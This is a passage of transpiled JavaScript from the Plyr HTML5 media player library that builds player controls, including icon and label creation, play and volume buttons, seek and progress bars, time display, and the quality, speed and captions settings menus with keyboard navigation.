this.debug.warn('It looks like there is a problem with your custom controls HTML', error); // Restore native video controls
this.toggleNativeControls(true);
return false;
}
},
// Create <svg> icon
createIcon: function createIcon(type, attributes) {
var namespace = 'http://www.w3.org/2000/svg';
var iconUrl = controls.getIconUrl.call(this);
var iconPath = "".concat(!iconUrl.cors ? iconUrl.url : '', "#").concat(this.config.iconPrefix); // Create <svg>
var icon = document.createElementNS(namespace, 'svg');
setAttributes(icon, extend(attributes, {
'aria-hidden': 'true',
focusable: 'false'
})); // Create the <use> to reference sprite
var use = document.createElementNS(namespace, 'use');
var path = "".concat(iconPath, "-").concat(type); // Set `href` attributes
// https://github.com/sampotts/plyr/issues/460
// https://developer.mozilla.org/en-US/docs/Web/SVG/Attribute/xlink:href
if ('href' in use) {
use.setAttributeNS('http://www.w3.org/1999/xlink', 'href', path);
} // Always set the older attribute even though it's "deprecated" (it'll be around for ages)
use.setAttributeNS('http://www.w3.org/1999/xlink', 'xlink:href', path); // Add <use> to <svg>
icon.appendChild(use);
return icon;
},
// Create hidden text label
createLabel: function createLabel(key) {
var attr = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {};
var text = i18n.get(key, this.config);
var attributes = _objectSpread2(_objectSpread2({}, attr), {}, {
class: [attr.class, this.config.classNames.hidden].filter(Boolean).join(' ')
});
return createElement('span', attributes, text);
},
// Create a badge
createBadge: function createBadge(text) {
if (is$1.empty(text)) {
return null;
}
var badge = createElement('span', {
class: this.config.classNames.menu.value
});
badge.appendChild(createElement('span', {
class: this.config.classNames.menu.badge
}, text));
return badge;
},
// Create a <button>
createButton: function createButton(buttonType, attr) {
var _this = this;
var attributes = extend({}, attr);
var type = toCamelCase(buttonType);
var props = {
element: 'button',
toggle: false,
label: null,
icon: null,
labelPressed: null,
iconPressed: null
};
['element', 'icon', 'label'].forEach(function (key) {
if (Object.keys(attributes).includes(key)) {
props[key] = attributes[key];
delete attributes[key];
}
}); // Default to 'button' type to prevent form submission
if (props.element === 'button' && !Object.keys(attributes).includes('type')) {
attributes.type = 'button';
} // Set class name
if (Object.keys(attributes).includes('class')) {
if (!attributes.class.split(' ').some(function (c) {
return c === _this.config.classNames.control;
})) {
extend(attributes, {
class: "".concat(attributes.class, " ").concat(this.config.classNames.control)
});
}
} else {
attributes.class = this.config.classNames.control;
} // Large play button
switch (buttonType) {
case 'play':
props.toggle = true;
props.label = 'play';
props.labelPressed = 'pause';
props.icon = 'play';
props.iconPressed = 'pause';
break;
case 'mute':
props.toggle = true;
props.label = 'mute';
props.labelPressed = 'unmute';
props.icon = 'volume';
props.iconPressed = 'muted';
break;
case 'captions':
props.toggle = true;
props.label = 'enableCaptions';
props.labelPressed = 'disableCaptions';
props.icon = 'captions-off';
props.iconPressed = 'captions-on';
break;
case 'fullscreen':
props.toggle = true;
props.label = 'enterFullscreen';
props.labelPressed = 'exitFullscreen';
props.icon = 'enter-fullscreen';
props.iconPressed = 'exit-fullscreen';
break;
case 'play-large':
attributes.class += " ".concat(this.config.classNames.control, "--overlaid");
type = 'play';
props.label = 'play';
props.icon = 'play';
break;
default:
if (is$1.empty(props.label)) {
props.label = type;
}
if (is$1.empty(props.icon)) {
props.icon = buttonType;
}
}
var button = createElement(props.element); // Setup toggle icon and labels
if (props.toggle) {
// Icon
button.appendChild(controls.createIcon.call(this, props.iconPressed, {
class: 'icon--pressed'
}));
button.appendChild(controls.createIcon.call(this, props.icon, {
class: 'icon--not-pressed'
})); // Label/Tooltip
button.appendChild(controls.createLabel.call(this, props.labelPressed, {
class: 'label--pressed'
}));
button.appendChild(controls.createLabel.call(this, props.label, {
class: 'label--not-pressed'
}));
} else {
button.appendChild(controls.createIcon.call(this, props.icon));
button.appendChild(controls.createLabel.call(this, props.label));
} // Merge and set attributes
extend(attributes, getAttributesFromSelector(this.config.selectors.buttons[type], attributes));
setAttributes(button, attributes); // We have multiple play buttons
if (type === 'play') {
if (!is$1.array(this.elements.buttons[type])) {
this.elements.buttons[type] = [];
}
this.elements.buttons[type].push(button);
} else {
this.elements.buttons[type] = button;
}
return button;
},
// Create an <input type='range'>
createRange: function createRange(type, attributes) {
// Seek input
var input = createElement('input', extend(getAttributesFromSelector(this.config.selectors.inputs[type]), {
type: 'range',
min: 0,
max: 100,
step: 0.01,
value: 0,
autocomplete: 'off',
// A11y fixes for https://github.com/sampotts/plyr/issues/905
role: 'slider',
'aria-label': i18n.get(type, this.config),
'aria-valuemin': 0,
'aria-valuemax': 100,
'aria-valuenow': 0
}, attributes));
this.elements.inputs[type] = input; // Set the fill for webkit now
controls.updateRangeFill.call(this, input); // Improve support on touch devices
RangeTouch.setup(input);
return input;
},
// Create a <progress>
createProgress: function createProgress(type, attributes) {
var progress = createElement('progress', extend(getAttributesFromSelector(this.config.selectors.display[type]), {
min: 0,
max: 100,
value: 0,
role: 'progressbar',
'aria-hidden': true
}, attributes)); // Create the label inside
if (type !== 'volume') {
progress.appendChild(createElement('span', null, '0'));
var suffixKey = {
played: 'played',
buffer: 'buffered'
}[type];
var suffix = suffixKey ? i18n.get(suffixKey, this.config) : '';
progress.innerText = "% ".concat(suffix.toLowerCase());
}
this.elements.display[type] = progress;
return progress;
},
// Create time display
createTime: function createTime(type, attrs) {
var attributes = getAttributesFromSelector(this.config.selectors.display[type], attrs);
var container = createElement('div', extend(attributes, {
class: "".concat(attributes.class ? attributes.class : '', " ").concat(this.config.classNames.display.time, " ").trim(),
'aria-label': i18n.get(type, this.config)
}), '00:00'); // Reference for updates
this.elements.display[type] = container;
return container;
},
// Bind keyboard shortcuts for a menu item
// We have to bind to keyup otherwise Firefox triggers a click when a keydown event handler shifts focus
// https://bugzilla.mozilla.org/show_bug.cgi?id=1220143
bindMenuItemShortcuts: function bindMenuItemShortcuts(menuItem, type) {
var _this2 = this;
// Navigate through menus via arrow keys and space
on.call(this, menuItem, 'keydown keyup', function (event) {
// We only care about space and ⬆️ ⬇️️ ➡️
if (![32, 38, 39, 40].includes(event.which)) {
return;
} // Prevent play / seek
event.preventDefault();
event.stopPropagation(); // We're just here to prevent the keydown bubbling
if (event.type === 'keydown') {
return;
}
var isRadioButton = matches$1(menuItem, '[role="menuitemradio"]'); // Show the respective menu
if (!isRadioButton && [32, 39].includes(event.which)) {
controls.showMenuPanel.call(_this2, type, true);
} else {
var target;
if (event.which !== 32) {
if (event.which === 40 || isRadioButton && event.which === 39) {
target = menuItem.nextElementSibling;
if (!is$1.element(target)) {
target = menuItem.parentNode.firstElementChild;
}
} else {
target = menuItem.previousElementSibling;
if (!is$1.element(target)) {
target = menuItem.parentNode.lastElementChild;
}
}
setFocus.call(_this2, target, true);
}
}
}, false); // Enter will fire a `click` event but we still need to manage focus
// So we bind to keyup which fires after and set focus here
on.call(this, menuItem, 'keyup', function (event) {
if (event.which !== 13) {
return;
}
controls.focusFirstMenuItem.call(_this2, null, true);
});
},
// Create a settings menu item
createMenuItem: function createMenuItem(_ref) {
var _this3 = this;
var value = _ref.value,
list = _ref.list,
type = _ref.type,
title = _ref.title,
_ref$badge = _ref.badge,
badge = _ref$badge === void 0 ? null : _ref$badge,
_ref$checked = _ref.checked,
checked = _ref$checked === void 0 ? false : _ref$checked;
var attributes = getAttributesFromSelector(this.config.selectors.inputs[type]);
var menuItem = createElement('button', extend(attributes, {
type: 'button',
role: 'menuitemradio',
class: "".concat(this.config.classNames.control, " ").concat(attributes.class ? attributes.class : '').trim(),
'aria-checked': checked,
value: value
}));
var flex = createElement('span'); // We have to set as HTML incase of special characters
flex.innerHTML = title;
if (is$1.element(badge)) {
flex.appendChild(badge);
}
menuItem.appendChild(flex); // Replicate radio button behaviour
Object.defineProperty(menuItem, 'checked', {
enumerable: true,
get: function get() {
return menuItem.getAttribute('aria-checked') === 'true';
},
set: function set(check) {
// Ensure exclusivity
if (check) {
Array.from(menuItem.parentNode.children).filter(function (node) {
return matches$1(node, '[role="menuitemradio"]');
}).forEach(function (node) {
return node.setAttribute('aria-checked', 'false');
});
}
menuItem.setAttribute('aria-checked', check ? 'true' : 'false');
}
});
this.listeners.bind(menuItem, 'click keyup', function (event) {
if (is$1.keyboardEvent(event) && event.which !== 32) {
return;
}
event.preventDefault();
event.stopPropagation();
menuItem.checked = true;
switch (type) {
case 'language':
_this3.currentTrack = Number(value);
break;
case 'quality':
_this3.quality = value;
break;
case 'speed':
_this3.speed = parseFloat(value);
break;
}
controls.showMenuPanel.call(_this3, 'home', is$1.keyboardEvent(event));
}, type, false);
controls.bindMenuItemShortcuts.call(this, menuItem, type);
list.appendChild(menuItem);
},
// Format a time for display
formatTime: function formatTime$1() {
var time = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : 0;
var inverted = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : false;
// Bail if the value isn't a number
if (!is$1.number(time)) {
return time;
} // Always display hours if duration is over an hour
var forceHours = getHours(this.duration) > 0;
return formatTime(time, forceHours, inverted);
},
// Update the displayed time
updateTimeDisplay: function updateTimeDisplay() {
var target = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : null;
var time = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 0;
var inverted = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : false;
// Bail if there's no element to display or the value isn't a number
if (!is$1.element(target) || !is$1.number(time)) {
return;
} // eslint-disable-next-line no-param-reassign
target.innerText = controls.formatTime(time, inverted);
},
// Update volume UI and storage
updateVolume: function updateVolume() {
if (!this.supported.ui) {
return;
} // Update range
if (is$1.element(this.elements.inputs.volume)) {
controls.setRange.call(this, this.elements.inputs.volume, this.muted ? 0 : this.volume);
} // Update mute state
if (is$1.element(this.elements.buttons.mute)) {
this.elements.buttons.mute.pressed = this.muted || this.volume === 0;
}
},
// Update seek value and lower fill
setRange: function setRange(target) {
var value = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 0;
if (!is$1.element(target)) {
return;
} // eslint-disable-next-line
target.value = value; // Webkit range fill
controls.updateRangeFill.call(this, target);
},
// Update <progress> elements
updateProgress: function updateProgress(event) {
var _this4 = this;
if (!this.supported.ui || !is$1.event(event)) {
return;
}
var value = 0;
var setProgress = function setProgress(target, input) {
var val = is$1.number(input) ? input : 0;
var progress = is$1.element(target) ? target : _this4.elements.display.buffer; // Update value and label
if (is$1.element(progress)) {
progress.value = val; // Update text label inside
var label = progress.getElementsByTagName('span')[0];
if (is$1.element(label)) {
label.childNodes[0].nodeValue = val;
}
}
};
if (event) {
switch (event.type) {
// Video playing
case 'timeupdate':
case 'seeking':
case 'seeked':
value = getPercentage(this.currentTime, this.duration); // Set seek range value only if it's a 'natural' time event
if (event.type === 'timeupdate') {
controls.setRange.call(this, this.elements.inputs.seek, value);
}
break;
// Check buffer status
case 'playing':
case 'progress':
setProgress(this.elements.display.buffer, this.buffered * 100);
break;
}
}
},
// Webkit polyfill for lower fill range
updateRangeFill: function updateRangeFill(target) {
// Get range from event if event passed
var range = is$1.event(target) ? target.target : target; // Needs to be a valid <input type='range'>
if (!is$1.element(range) || range.getAttribute('type') !== 'range') {
return;
} // Set aria values for https://github.com/sampotts/plyr/issues/905
if (matches$1(range, this.config.selectors.inputs.seek)) {
range.setAttribute('aria-valuenow', this.currentTime);
var currentTime = controls.formatTime(this.currentTime);
var duration = controls.formatTime(this.duration);
var format = i18n.get('seekLabel', this.config);
range.setAttribute('aria-valuetext', format.replace('{currentTime}', currentTime).replace('{duration}', duration));
} else if (matches$1(range, this.config.selectors.inputs.volume)) {
var percent = range.value * 100;
range.setAttribute('aria-valuenow', percent);
range.setAttribute('aria-valuetext', "".concat(percent.toFixed(1), "%"));
} else {
range.setAttribute('aria-valuenow', range.value);
} // WebKit only
if (!browser.isWebkit) {
return;
} // Set CSS custom property
range.style.setProperty('--value', "".concat(range.value / range.max * 100, "%"));
},
// Update hover tooltip for seeking
updateSeekTooltip: function updateSeekTooltip(event) {
var _this5 = this;
// Bail if setting not true
if (!this.config.tooltips.seek || !is$1.element(this.elements.inputs.seek) || !is$1.element(this.elements.display.seekTooltip) || this.duration === 0) {
return;
}
var visible = "".concat(this.config.classNames.tooltip, "--visible");
var toggle = function toggle(show) {
return toggleClass(_this5.elements.display.seekTooltip, visible, show);
}; // Hide on touch
if (this.touch) {
toggle(false);
return;
} // Determine percentage, if already visible
var percent = 0;
var clientRect = this.elements.progress.getBoundingClientRect();
if (is$1.event(event)) {
percent = 100 / clientRect.width * (event.pageX - clientRect.left);
} else if (hasClass(this.elements.display.seekTooltip, visible)) {
percent = parseFloat(this.elements.display.seekTooltip.style.left, 10);
} else {
return;
} // Set bounds
if (percent < 0) {
percent = 0;
} else if (percent > 100) {
percent = 100;
} // Display the time a click would seek to
controls.updateTimeDisplay.call(this, this.elements.display.seekTooltip, this.duration / 100 * percent); // Set position
this.elements.display.seekTooltip.style.left = "".concat(percent, "%"); // Show/hide the tooltip
// If the event is a moues in/out and percentage is inside bounds
if (is$1.event(event) && ['mouseenter', 'mouseleave'].includes(event.type)) {
toggle(event.type === 'mouseenter');
}
},
// Handle time change event
timeUpdate: function timeUpdate(event) {
// Only invert if only one time element is displayed and used for both duration and currentTime
var invert = !is$1.element(this.elements.display.duration) && this.config.invertTime; // Duration
controls.updateTimeDisplay.call(this, this.elements.display.currentTime, invert ? this.duration - this.currentTime : this.currentTime, invert); // Ignore updates while seeking
if (event && event.type === 'timeupdate' && this.media.seeking) {
return;
} // Playing progress
controls.updateProgress.call(this, event);
},
// Show the duration on metadataloaded or durationchange events
durationUpdate: function durationUpdate() {
// Bail if no UI or durationchange event triggered after playing/seek when invertTime is false
if (!this.supported.ui || !this.config.invertTime && this.currentTime) {
return;
} // If duration is the 2**32 (shaka), Infinity (HLS), DASH-IF (Number.MAX_SAFE_INTEGER || Number.MAX_VALUE) indicating live we hide the currentTime and progressbar.
// https://github.com/video-dev/hls.js/blob/5820d29d3c4c8a46e8b75f1e3afa3e68c1a9a2db/src/controller/buffer-controller.js#L415
// https://github.com/google/shaka-player/blob/4d889054631f4e1cf0fbd80ddd2b71887c02e232/lib/media/streaming_engine.js#L1062
// https://github.com/Dash-Industry-Forum/dash.js/blob/69859f51b969645b234666800d4cb596d89c602d/src/dash/models/DashManifestModel.js#L338
if (this.duration >= Math.pow(2, 32)) {
toggleHidden(this.elements.display.currentTime, true);
toggleHidden(this.elements.progress, true);
return;
} // Update ARIA values
if (is$1.element(this.elements.inputs.seek)) {
this.elements.inputs.seek.setAttribute('aria-valuemax', this.duration);
} // If there's a spot to display duration
var hasDuration = is$1.element(this.elements.display.duration); // If there's only one time display, display duration there
if (!hasDuration && this.config.displayDuration && this.paused) {
controls.updateTimeDisplay.call(this, this.elements.display.currentTime, this.duration);
} // If there's a duration element, update content
if (hasDuration) {
controls.updateTimeDisplay.call(this, this.elements.display.duration, this.duration);
} // Update the tooltip (if visible)
controls.updateSeekTooltip.call(this);
},
// Hide/show a tab
toggleMenuButton: function toggleMenuButton(setting, toggle) {
toggleHidden(this.elements.settings.buttons[setting], !toggle);
},
// Update the selected setting
updateSetting: function updateSetting(setting, container, input) {
var pane = this.elements.settings.panels[setting];
var value = null;
var list = container;
if (setting === 'captions') {
value = this.currentTrack;
} else {
value = !is$1.empty(input) ? input : this[setting]; // Get default
if (is$1.empty(value)) {
value = this.config[setting].default;
} // Unsupported value
if (!is$1.empty(this.options[setting]) && !this.options[setting].includes(value)) {
this.debug.warn("Unsupported value of '".concat(value, "' for ").concat(setting));
return;
} // Disabled value
if (!this.config[setting].options.includes(value)) {
this.debug.warn("Disabled value of '".concat(value, "' for ").concat(setting));
return;
}
} // Get the list if we need to
if (!is$1.element(list)) {
list = pane && pane.querySelector('[role="menu"]');
} // If there's no list it means it's not been rendered...
if (!is$1.element(list)) {
return;
} // Update the label
var label = this.elements.settings.buttons[setting].querySelector(".".concat(this.config.classNames.menu.value));
label.innerHTML = controls.getLabel.call(this, setting, value); // Find the radio option and check it
var target = list && list.querySelector("[value=\"".concat(value, "\"]"));
if (is$1.element(target)) {
target.checked = true;
}
},
// Translate a value into a nice label
getLabel: function getLabel(setting, value) {
switch (setting) {
case 'speed':
return value === 1 ? i18n.get('normal', this.config) : "".concat(value, "×");
case 'quality':
if (is$1.number(value)) {
var label = i18n.get("qualityLabel.".concat(value), this.config);
if (!label.length) {
return "".concat(value, "p");
}
return label;
}
return toTitleCase(value);
case 'captions':
return captions.getLabel.call(this);
default:
return null;
}
},
// Set the quality menu
setQualityMenu: function setQualityMenu(options) {
var _this6 = this;
// Menu required
if (!is$1.element(this.elements.settings.panels.quality)) {
return;
}
var type = 'quality';
var list = this.elements.settings.panels.quality.querySelector('[role="menu"]'); // Set options if passed and filter based on uniqueness and config
if (is$1.array(options)) {
this.options.quality = dedupe(options).filter(function (quality) {
return _this6.config.quality.options.includes(quality);
});
} // Toggle the pane and tab
var toggle = !is$1.empty(this.options.quality) && this.options.quality.length > 1;
controls.toggleMenuButton.call(this, type, toggle); // Empty the menu
emptyElement(list); // Check if we need to toggle the parent
controls.checkMenu.call(this); // If we're hiding, nothing more to do
if (!toggle) {
return;
} // Get the badge HTML for HD, 4K etc
var getBadge = function getBadge(quality) {
var label = i18n.get("qualityBadge.".concat(quality), _this6.config);
if (!label.length) {
return null;
}
return controls.createBadge.call(_this6, label);
}; // Sort options by the config and then render options
this.options.quality.sort(function (a, b) {
var sorting = _this6.config.quality.options;
return sorting.indexOf(a) > sorting.indexOf(b) ? 1 : -1;
}).forEach(function (quality) {
controls.createMenuItem.call(_this6, {
value: quality,
list: list,
type: type,
title: controls.getLabel.call(_this6, 'quality', quality),
badge: getBadge(quality)
});
});
controls.updateSetting.call(this, type, list);
},
// Set the looping options
/* setLoopMenu() {
// Menu required
if (!is.element(this.elements.settings.panels.loop)) {
return;
}
const options = ['start', 'end', 'all', 'reset'];
const list = this.elements.settings.panels.loop.querySelector('[role="menu"]');
// Show the pane and tab
toggleHidden(this.elements.settings.buttons.loop, false);
toggleHidden(this.elements.settings.panels.loop, false);
// Toggle the pane and tab
const toggle = !is.empty(this.loop.options);
controls.toggleMenuButton.call(this, 'loop', toggle);
// Empty the menu
emptyElement(list);
options.forEach(option => {
const item = createElement('li');
const button = createElement(
'button',
extend(getAttributesFromSelector(this.config.selectors.buttons.loop), {
type: 'button',
class: this.config.classNames.control,
'data-plyr-loop-action': option,
}),
i18n.get(option, this.config)
);
if (['start', 'end'].includes(option)) {
const badge = controls.createBadge.call(this, '00:00');
button.appendChild(badge);
}
item.appendChild(button);
list.appendChild(item);
});
}, */
// Get current selected caption language
// TODO: rework this to user the getter in the API?
// Set a list of available captions languages
setCaptionsMenu: function setCaptionsMenu() {
var _this7 = this;
// Menu required
if (!is$1.element(this.elements.settings.panels.captions)) {
return;
} // TODO: Captions or language? Currently it's mixed
var type = 'captions';
var list = this.elements.settings.panels.captions.querySelector('[role="menu"]');
var tracks = captions.getTracks.call(this);
var toggle = Boolean(tracks.length); // Toggle the pane and tab
controls.toggleMenuButton.call(this, type, toggle); // Empty the menu
emptyElement(list); // Check if we need to toggle the parent
controls.checkMenu.call(this); // If there's no captions, bail
if (!toggle) {
return;
} // Generate options data
var options = tracks.map(function (track, value) {
return {
value: value,
checked: _this7.captions.toggled && _this7.currentTrack === value,
title: captions.getLabel.call(_this7, track),
badge: track.language && controls.createBadge.call(_this7, track.language.toUpperCase()),
list: list,
type: 'language'
};
}); // Add the "Disabled" option to turn off captions
options.unshift({
value: -1,
checked: !this.captions.toggled,
title: i18n.get('disabled', this.config),
list: list,
type: 'language'
}); // Generate options
options.forEach(controls.createMenuItem.bind(this));
controls.updateSetting.call(this, type, list);
},
// Set a list of available captions languages
setSpeedMenu: function setSpeedMenu() {
var _this8 = this;
// Menu required
if (!is$1.element(this.elements.settings.panels.speed)) {
return;
}
var type = 'speed';
var list = this.elements.settings.panels.speed.querySelector('[role="menu"]'); // Filter out invalid speeds
this.options.speed = this.options.speed.filter(function (o) {
return o >= _this8.minimumSpeed && o <= _this8.maximumSpeed;
}); // Toggle the pane and tab
var toggle = !is$1.empty(this.options.speed) && this.options.speed.length > 1;
controls.toggleMenuButton.call(this, type, toggle); // Empty the menu
emptyElement(list); // Check if we need to toggle the parent
controls.checkMenu.call(this); // If we're hiding, nothing more to do
if (!toggle) {
return;
} // Create items
this.options.speed.forEach(function (speed) {
controls.createMenuItem.call(_this8, {
value: speed,
list: list,
type: type,
title: controls.getLabel.call(_this8, 'speed', speed)
});
});
controls.updateSetting.call(this, type, list);
},
// Check if we need to hide/show the settings menu
checkMenu: function checkMenu() {
var buttons = this.elements.settings.buttons;
var visible = !is$1.empty(buttons) && Object.values(buttons).some(function (button) {
return !button.hidden;
});
toggleHidden(this.elements.settings.menu, !visible);
},
// Focus the first menu item in a given (or visible) menu
focusFirstMenuItem: function focusFirstMenuItem(pane) {
var tabFocus = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : false;
if (this.elements.settings.popup.hidden) {
return;
}
var target = pane;
if (!is$1.element(target)) {
target = Object.values(this.elements.settings.panels).find(function (p) {
return !p.hidden;
});
}
var firstItem = target.querySelector('[role^="menuitem"]');
setFocus.call(this, firstItem, tabFocus);
},
// Show/hide menu
toggleMenu: function toggleMenu(input) {
var popup = this.elements.settings.popup;
var button = this.elements.buttons.settings; // Menu and button are required
if (!is$1.element(popup) || !is$1.element(button)) {
return;
} // True toggle by default
var hidden = popup.hidden;
var show = hidden;
if (is$1.boolean(input)) {
show = input;
} else if (is$1.keyboardEvent(input) && input.which === 27) {
show = false;
} else if (is$1.event(input)) {
// If Plyr is in a shadowDOM, the event target is set to the component, instead of the
// Element in the shadowDOM. The path, if available, is complete.
var target = is$1.function(input.composedPath) ? input.composedPath()[0] : input.target;
var isMenuItem = popup.contains(target); // If the click was inside the menu or if the click
// wasn't the button or menu item and we're trying to
// show the menu (a doc click shouldn't show the menu)
if (isMenuItem || !isMenuItem && input.target !== button && show) {
return;
}
} // Set button attributes
button.setAttribute('aria-expanded', show); // Show the actual popup
toggleHidden(popup, !show); // Add class hook
toggleClass(this.elements.container, this.config.classNames.menu.open, show); // Focus the first item if key interaction
if (show && is$1.keyboardEvent(input)) {
controls.focusFirstMenuItem.call(this, null, true);
} else if (!show && !hidden) {
// If closing, re-focus the button
setFocus.call(this, button, is$1.keyboardEvent(input));
}
},
// Get the natural size of a menu panel
getMenuSize: function getMenuSize(tab) {
var clone = tab.cloneNode(true);
clone.style.position = 'absolute';
clone.style.opacity = 0;
clone.removeAttribute('hidden'); // Append to parent so we get the "real" size
tab.parentNode.appendChild(clone); // Get the sizes before we remove
var width = clone.scrollWidth;
var height = clone.scrollHeight; // Remove from the DOM
removeElement(clone);
return {
width: width,
height: height
};
},
// Show a panel in the menu
showMenuPanel: function showMenuPanel() {
var _this9 = this;
var type = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : '';
var tabFocus = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : false;
var target = this.elements.container.querySelector("#plyr-settings-".concat(this.id, "-").concat(type)); // Nothing to show, bail
if (!is$1.element(target)) {
return;
} // Hide all other panels
var container = target.parentNode;
var current = Array.from(container.children).find(function (node) {
return !node.hidden;
}); // If we can do fancy animations, we'll animate the height/width
if (support.transitions && !support.reducedMotion) {
// Set the current width as a base
container.style.width = "".concat(current.scrollWidth, "px");
container.style.height = "".concat(current.scrollHeight, "px"); // Get potential sizes
var size = controls.getMenuSize.call(this, target); // Restore auto height/width
var restore = function restore(event) {
// We're only bothered about height and width on the container
if (event.target !== container || !['width', 'height'].includes(event.propertyName)) {
return;
} // Revert back to auto
container.style.width = '';
container.style.height = ''; // Only listen once
off.call(_this9, container, transitionEndEvent, restore);
}; // Listen for the transition finishing and restore auto height/width
on.call(this, container, transitionEndEvent, restore); // Set dimensions to target
container.style.width = "".concat(size.width, "px");
container.style.height = "".concat(size.height, "px");
} // Set attributes on current tab
toggleHidden(current, true); // Set attributes on target
toggleHidden(target, false); // Focus the first item
controls.focusFirstMenuItem.call(this, target, tabFocus);
},
// Set the download URL
setDownloadUrl: function setDownloadUrl() {
var button = this.elements.buttons.download; // Bail if no button
if (!is$1.element(button)) {
return;
} // Set attribute
button.setAttribute('href', this.download);
},
// Build the default HTML
create: function create(data) {
var _this10 = this;
var bindMenuItemShortcuts = controls.bindMenuItemShortcuts,
createButton = controls.createButton,
createProgress = controls.createProgress,
createRange = controls.createRange,
createTime = controls.createTime,
setQualityMenu = controls.setQualityMenu,
setSpeedMenu = controls.setSpeedMenu,
showMenuPanel = controls.showMenuPanel;
this.elements.controls = null; // Larger overlaid play button
if (is$1.array(this.config.controls) && this.config.controls.includes('play-large')) {
this.elements.container.appendChild(createButton.call(this, 'play-large'));
} // Create the container
var container = createElement('div', getAttributesFromSelector(this.config.selectors.controls.wrapper));
this.elements.controls = container; // Default item attributes
var defaultAttributes = {
class: 'plyr__controls__item'
}; // Loop through controls in order
dedupe(is$1.array(this.config.controls) ? this.config.controls : []).forEach(function (control) {
// Restart button
if (control === 'restart') {
container.appendChild(createButton.call(_this10, 'restart', defaultAttributes));
} // Rewind button
if (control === 'rewind') {
container.appendChild(createButton.call(_this10, 'rewind', defaultAttributes));
} // Play/Pause button
if (control === 'play') {
container.appendChild(createButton.call(_this10, 'play', defaultAttributes));
} // Fast forward button
if (control === 'fast-forward') {
container.appendChild(createButton.call(_this10, 'fast-forward', defaultAttributes));
} // Progress
if (control === 'progress') {
var progressContainer = createElement('div', {
class: "".concat(defaultAttributes.class, " plyr__progress__container")
});
var progress = createElement('div', getAttributesFromSelector(_this10.config.selectors.progress)); // Seek range slider
progress.appendChild(createRange.call(_this10, 'seek', {
id: "plyr-seek-".concat(data.id)
})); // Buffer progress
progress.appendChild(createProgress.call(_this10, 'buffer')); // TODO: Add loop display indicator
// Seek tooltip
if (_this10.config.tooltips.seek) {
var tooltip = createElement('span', {
class: _this10.config.classNames.tooltip
}, '00:00');
progress.appendChild(tooltip);
_this10.elements.display.seekTooltip = tooltip;
}
_this10.elements.progress = progress;
progressContainer.appendChild(_this10.elements.progress);
container.appendChild(progressContainer);
} // Media current time display
if (control === 'current-time') {
container.appendChild(createTime.call(_this10, 'currentTime', defaultAttributes));
} // Media duration display
if (control === 'duration') {
container.appendChild(createTime.call(_this10, 'duration', defaultAttributes));
} // Volume controls
if (control === 'mute' || control === 'volume') {
var volume = _this10.elements.volume; // Create the volume container if needed
if (!is$1.element(volume) || !container.contains(volume)) {
volume = createElement('div', extend({}, defaultAttributes, {
class: "".concat(defaultAttributes.class, " plyr__volume").trim()
}));
_this10.elements.volume = volume;
container.appendChild(volume);
} // Toggle mute button
if (control === 'mute') {
volume.appendChild(createButton.call(_this10, 'mute'));
} // Volume range control
// Ignored on iOS as it's handled globally
// https://developer.apple.com/library/safari/documentation/AudioVideo/Conceptual/Using_HTML5_Audio_Video/Device-SpecificConsiderations/Device-SpecificConsiderations.html
if (control === 'volume' && !browser.isIos) {
// Set the attributes
var attributes = {
max: 1,
step: 0.05,
value: _this10.config.volume
}; // Create the volume range slider
volume.appendChild(createRange.call(_this10, 'volume', extend(attributes, {
id: "plyr-volume-".concat(data.id)
})));
}
} // Toggle captions button
if (control === 'captions') {
container.appendChild(createButton.call(_this10, 'captions', defaultAttributes));
} // Settings button / menu
if (control === 'settings' && !is$1.empty(_this10.config.settings)) {
var wrapper = createElement('div', extend({}, defaultAttributes, {
class: "".concat(defaultAttributes.class, " plyr__menu").trim(),
hidden: ''
}));
wrapper.appendChild(createButton.call(_this10, 'settings', {
'aria-haspopup': true,
'aria-controls': "plyr-settings-".concat(data.id),
'aria-expanded': false
}));
var popup = createElement('div', {
class: 'plyr__menu__container',
id: "plyr-settings-".concat(data.id),
hidden: ''
});
var inner = createElement('div');
var home = createElement('div', {
id: "plyr-settings-".concat(data.id, "-home")
}); // Create the menu
var menu = createElement('div', {
role: 'menu'
});
home.appendChild(menu);
inner.appendChild(home);
_this10.elements.settings.panels.home = home; // Build the menu items
_this10.config.settings.forEach(function (type) {
// TODO: bundle this with the createMenuItem helper and bindings
var menuItem = createElement('button', extend(getAttributesFromSelector(_this10.config.selectors.buttons.settings), {
type: 'button',
class: "".concat(_this10.config.classNames.control, " ").concat(_this10.config.classNames.control, "--forward"),
role: 'menuitem',
'aria-haspopup': true,
hidden: ''
})); // Bind menu shortcuts for keyboard users
bindMenuItemShortcuts.call(_this10, menuItem, type); // Show menu on click
on.call(_this10, menuItem, 'click', function () {
showMenuPanel.call(_this10, type, false);
});
var flex = createElement('span', null, i18n.get(type, _this10.config));
var value = createElement('span', {
class: _this10.config.classNames.menu.value
}); // Speed contains HTML entities
value.innerHTML = data[type];
flex.appendChild(value);
menuItem.appendChild(flex);
menu.appendChild(menuItem); // Build the panes
var pane = createElement('div', {
id: "plyr-settings-".concat(data.id, "-").concat(type),
hidden: ''
}); // Back button
var backButton = createElement('button', {
type: 'button',
class: "".concat(_this10.config.classNames.control, " ").concat(_this10.config.classNames.control, "--back")
}); // Visible label
backButton.appendChild(createElement('span', {
'aria-hidden': true
}, i18n.get(type, _this10.config))); // Screen reader label
backButton.appendChild(createElement('span', {
class: _this10.config.classNames.hidden
}, i18n.get('menuBack', _this10.config))); // Go back via keyboard
on.call(_this10, pane, 'keydown', function (event) {
// We only care about <-
if (event.which !== 37) {
return;
} // Prevent seek
event.preventDefault();
event.stopPropagation(); // Show the respective menu
showMenuPanel.call(_this10, 'home', true);
}, false); // Go back via button click
on.call(_this10, backButton, 'click', function () {
showMenuPanel.call(_this10, 'home', false);
}); // Add to pane
pane.appendChild(backButton); // Menu
pane.appendChild(createElement('div', {
role: 'menu'
}));
inner.appendChild(pane);
_this10.elements.settings.buttons[type] = menuItem;
_this10.elements.settings.panels[type] = pane;
});
popup.appendChild(inner);
